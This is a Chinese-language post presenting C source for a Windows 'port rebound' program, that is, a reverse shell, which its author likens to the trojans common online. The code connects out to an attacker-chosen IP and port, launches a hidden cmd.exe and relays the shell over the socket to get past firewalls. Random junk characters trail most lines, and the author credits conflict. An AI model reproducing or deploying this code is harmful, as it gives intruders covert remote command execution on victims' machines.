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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {[~,q\M[  
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/* ============================== DP]|}8~L  
Rebound port in Windows NT MA6%g} o  
By wind,2006/7 +0 |0X {v  
===============================*/ rep"xV&|>o  
#include #8OqX*/  
#include |c/rHEZ  
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#pragma comment(lib,"wsock32.lib") M0 8Y  
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void OutputShell(); h8Si,W 3o  
SOCKET sClient; BZshTP[`  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 0pOha(,~  
p,tkVedR  
void main(int argc,char **argv) ] &SmeTe  
{ n5#QQk2  
WSADATA stWsaData; ??P %.  
int nRet; ;U3K@_  
SOCKADDR_IN stSaiClient,stSaiServer; 9e4`N"#,lI  
`.Zm}'  
if(argc != 3) d)0|Q  
{ 4,f`C0>"  
printf("Useage:\n\rRebound DestIP DestPort\n"); "<Yxt"Z4  
return; %{Obh j;c  
} #xfav19{.  
7j HrLsB  
WSAStartup(MAKEWORD(2,2),&stWsaData); `(DHa=s1  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a|(|!=  
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stSaiClient.sin_family = AF_INET; -zWNQp$  
stSaiClient.sin_port = htons(0); 8Zy*#[-  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 'V8o["P  
i'10qWz  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) AAqfp/DC  
{ _~ 'MQ`P  
printf("Bind Socket Failed!\n"); \T!,Z;zK  
return; Gm &jlN  
} !/ dH"h  
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stSaiServer.sin_family = AF_INET; 9g# 62oIg  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); H/k]u)Gtv  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); HH0ck(u_A*  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 5j\Kej  
{ e&E7_  
printf("Connect Error!"); ROvY,-?  
return; l8:!{I?s=  
} #DARZhU)  
OutputShell(); }x& X vI  
} ! &cfX/y8  
-[&Z{1A4x4  
void OutputShell() ;#+I"Ow  
{ C~?p85  
char szBuff[1024]; .Wr7*J[V.  
SECURITY_ATTRIBUTES stSecurityAttributes; -m[ tYp,q  
OSVERSIONINFO stOsversionInfo; ,L<x=Dg  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; & P%#  
STARTUPINFO stStartupInfo; bKsEXS  
char *szShell; (/Jy9 =~  
PROCESS_INFORMATION stProcessInformation; < 'BsQHI  
unsigned long lBytesRead; Y##lFEt  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); bQ&%6'ck  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (uC@cVk P  
stSecurityAttributes.lpSecurityDescriptor = 0; r`RLDN!`  
stSecurityAttributes.bInheritHandle = TRUE; !XM*y  
+oHbAPs8  
H]f[r~  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); xDsKb_  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ,}9 tJY@ E  
_j*I\  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); u g;~dhe~  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C@<gCMj,"  
stStartupInfo.wShowWindow = SW_HIDE; c\O2|'JzE  
stStartupInfo.hStdInput = hReadPipe; I[w5V;>*  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; koE]\B2A6  
%%)y4>I  
GetVersionEx(&stOsversionInfo); %?[0G,JG  
}z|9F(I   
switch(stOsversionInfo.dwPlatformId) }U4mXkZF  
{ @2-;,VL3  
case 1: /-WmOn*  
szShell = "command.com"; :_=YH+bZ  
break; PSX o"   
default: yNU}1_oK  
szShell = "cmd.exe"; _+~&t9A!  
break; A..`?oGj  
} b):aqRwP  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |2rOV&@l9  
d\tY-X3  
send(sClient,szMsg,77,0); \'iy(8i  
while(1) )|AxQPd  
{ /Nob S'd  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); M-q5Jfm  
if(lBytesRead) whrDw1>(  
{ %Y5F@=>&  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); S 2W@;XvV  
send(sClient,szBuff,lBytesRead,0); '#.D`9YI<  
} ~`B]G  
else XD_!5+\H1  
{ In+2~Jw/2!  
lBytesRead=recv(sClient,szBuff,1024,0); \=&Z_6Mu  
if(lBytesRead<=0) break; {K?e6-N(z  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); _{eA8J(A<  
} U\-.u3/  
} m&be55M;  
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return; 6K=}n] n  
}
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